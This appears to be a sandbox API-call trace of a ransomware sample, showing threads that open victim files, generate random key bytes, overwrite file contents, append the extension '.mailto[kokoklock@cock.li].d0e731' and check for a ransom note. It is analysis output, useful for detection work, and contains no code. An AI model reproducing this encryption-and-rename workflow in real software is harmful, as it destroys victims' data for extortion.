[0165.547] wcscat (in: _Dest=0x2f6c090, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0165.547] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0165.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c090) returned 1 [0165.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82bc8) returned 1 [0165.548] RtlExitUserThread (Status=0x1) Thread: id = 1586 os_tid = 0xfa4 [0165.549] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.549] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.549] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0165.549] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x88efec8 | out: lpFileSize=0x88efec8*=96280) returned 1 [0165.549] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.549] ReadFile (in: hFile=0x5c8, lpBuffer=0x88efe9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x88efe98, lpOverlapped=0x0 | out: lpBuffer=0x88efe9c*, lpNumberOfBytesRead=0x88efe98*=0x4, lpOverlapped=0x0) returned 1 [0165.552] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0165.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6e0 [0165.553] NtQuerySystemTime (in: CurrentTime=0x88efe74 | out: CurrentTime=0x88efe74*=132121213228653097) returned 0x0 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xcf4f15db [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x79e4c352 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xee469751 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x21812583 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xe2544153 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x558bfbbe [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xfcb4ad23 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x21cdb04a [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xd191bc65 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x3fab4e80 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xc1dd243a [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xc75f662c [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x1c8fc6f4 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x1fded29f [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xc99d021f [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x2a68b4f3 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x71348b1e [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x7024695e [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x55d21d3d [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xee87cc78 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x7192d630 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x72ca5d9d [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xbe00d51 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x620e7325 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x8cc89ba6 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x3202d94b [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x5890ad68 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xe99e25f7 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xf563e9bc [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x1bd749a0 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0x99334523 [0165.553] RtlRandom (in: Seed=0x88efe80 | out: Seed=0x88efe80) returned 0xefdcd9a3 [0165.562] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0165.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0165.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0165.564] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0165.564] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0165.564] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.564] ReadFile (in: hFile=0x5c8, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x88efe4c, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x88efe4c*=0x4096, lpOverlapped=0x0) returned 1 [0165.565] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedc10 [0165.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0165.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0165.566] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.566] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0165.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0165.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0165.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc10) returned 1 [0165.566] WriteFile (in: hFile=0x5c8, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x88efe4c, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x88efe4c*=0x4096, lpOverlapped=0x0) returned 1 [0165.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0165.566] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17818, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.566] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab5f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x88efe84, lpOverlapped=0x0 | out: lpBuffer=0x2fab5f0*, lpNumberOfBytesWritten=0x88efe84*=0x20, lpOverlapped=0x0) returned 1 [0165.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0165.566] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab7a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x88efe98, lpOverlapped=0x0 | out: lpBuffer=0x2fab7a8*, lpNumberOfBytesWritten=0x88efe98*=0x8, lpOverlapped=0x0) returned 1 [0165.566] WriteFile (in: hFile=0x5c8, lpBuffer=0x88efeb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x88efe98, lpOverlapped=0x0 | out: lpBuffer=0x88efeb0*, lpNumberOfBytesWritten=0x88efe98*=0x4, lpOverlapped=0x0) returned 1 [0165.567] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x88efe98, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x88efe98*=0x4, lpOverlapped=0x0) returned 1 [0165.567] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x88efe98, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x88efe98*=0x6c, lpOverlapped=0x0) returned 1 [0165.567] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x88efe98, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x88efe98*=0x20, lpOverlapped=0x0) returned 1 [0165.567] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x88efe98, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x88efe98*=0x4, lpOverlapped=0x0) returned 1 [0165.567] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0165.567] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0165.567] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0165.567] CloseHandle (hObject=0x5c8) returned 1 [0165.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97218 [0165.567] wcscpy (in: _Dest=0x2f97218, _Source="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" [0165.567] wcscat (in: _Dest=0x2f97218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.567] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.568] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97218) returned 1 [0165.568] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0165.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2f6c090 [0165.568] wcscpy (in: _Dest=0x2f6c090, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.568] wcscat (in: _Dest=0x2f6c090, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0165.568] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0165.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c090) returned 1 [0165.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f69b30) returned 1 [0165.569] RtlExitUserThread (Status=0x1) Thread: id = 1587 os_tid = 0xfa8 [0165.570] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.570] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.570] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0165.570] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x896ff10 | out: lpFileSize=0x896ff10*=41272) returned 1 [0165.570] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.570] ReadFile (in: hFile=0x5c8, lpBuffer=0x896fee4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x896fee0, lpOverlapped=0x0 | out: lpBuffer=0x896fee4*, lpNumberOfBytesRead=0x896fee0*=0x4, lpOverlapped=0x0) returned 1 [0165.572] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0165.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0165.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0165.572] NtQuerySystemTime (in: CurrentTime=0x896febc | out: CurrentTime=0x896febc*=132121213228809382) returned 0x0 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x83d18a3 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x16815605 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x6d7a03fc [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x853f08c5 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xefee9769 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x84d76915 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x4f0a464f [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xad19a4c4 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x59a34a52 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x4aaaa791 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xcfdc8579 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x6d07e4b9 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x89c82a7 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x3ab5df63 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x494cc4bb [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x8a65ec58 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x553ff626 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xf4650661 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x477d935d [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xa5758e6 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x60fc141d [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x42095b29 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xbd12ecf9 [0165.572] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x7c22f394 [0165.573] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x27acb706 [0165.573] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x53b67a7c [0165.573] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x30774208 [0165.573] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xd32fd37d [0165.573] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xd35c357d [0165.573] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x5510d667 [0165.573] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0x648c9b6d [0165.573] RtlRandom (in: Seed=0x896fec8 | out: Seed=0x896fec8) returned 0xcc7286e7 [0165.581] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0165.583] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0165.583] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0165.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0165.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0165.583] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0165.583] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.583] ReadFile (in: hFile=0x5c8, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x896fe94, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x896fe94*=0x4096, lpOverlapped=0x0) returned 1 [0165.584] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.584] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedc10 [0165.584] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0165.584] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0165.584] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0165.584] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0165.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0165.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc10) returned 1 [0165.585] WriteFile (in: hFile=0x5c8, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x896fe94, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x896fe94*=0x4096, lpOverlapped=0x0) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0165.585] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa138, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.585] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x896fecc, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x896fecc*=0x20, lpOverlapped=0x0) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0165.585] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x896fee0, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x896fee0*=0x8, lpOverlapped=0x0) returned 1 [0165.586] WriteFile (in: hFile=0x5c8, lpBuffer=0x896fef8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x896fee0, lpOverlapped=0x0 | out: lpBuffer=0x896fef8*, lpNumberOfBytesWritten=0x896fee0*=0x4, lpOverlapped=0x0) returned 1 [0165.586] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x896fee0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x896fee0*=0x4, lpOverlapped=0x0) returned 1 [0165.586] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x896fee0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x896fee0*=0x6c, lpOverlapped=0x0) returned 1 [0165.586] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab8c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x896fee0, lpOverlapped=0x0 | out: lpBuffer=0x2fab8c0*, lpNumberOfBytesWritten=0x896fee0*=0x20, lpOverlapped=0x0) returned 1 [0165.586] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x896fee0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x896fee0*=0x4, lpOverlapped=0x0) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0165.586] CloseHandle (hObject=0x5c8) returned 1 [0165.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97218 [0165.586] wcscpy (in: _Dest=0x2f97218, _Source="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" [0165.587] wcscat (in: _Dest=0x2f97218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.587] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.587] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97218) returned 1 [0165.588] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0165.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2f6c090 [0165.588] wcscpy (in: _Dest=0x2f6c090, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.588] wcscat (in: _Dest=0x2f6c090, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0165.588] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0165.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c090) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6aa70) returned 1 [0165.588] RtlExitUserThread (Status=0x1) Thread: id = 1588 os_tid = 0xfac [0165.592] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\strings.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.592] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.593] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\strings.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0165.593] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x89efa1c | 